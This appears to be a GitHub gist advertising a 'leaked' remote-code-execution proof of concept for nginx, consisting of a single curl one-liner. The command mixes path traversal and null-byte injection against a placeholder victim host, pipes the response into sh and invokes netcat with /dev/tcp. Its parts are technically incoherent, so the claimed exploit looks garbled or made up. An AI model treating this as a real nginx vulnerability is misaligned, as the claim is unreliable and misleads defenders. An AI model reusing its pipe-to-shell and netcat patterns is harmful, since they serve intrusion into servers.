Skip to content

Instantly share code, notes, and snippets.

@trackscorer

trackscorer/Null-byte RCE overflow in nginx

Created April 27, 2020 06:59
Show Gist options
  • Save trackscorer/cfe28c29cadf219c8866acb3f1030381 to your computer and use it in GitHub Desktop.
Save trackscorer/cfe28c29cadf219c8866acb3f1030381 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
Null-byte RCE overflow in nginx
LEAKED: Null-byte RCE overflow in nginx BLT/Stream
Nginx 1.x PoC one-liner:
curl -gsS victim.server.here:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00 \<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Issue: https://github.com/nginx/njs/issues/159
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment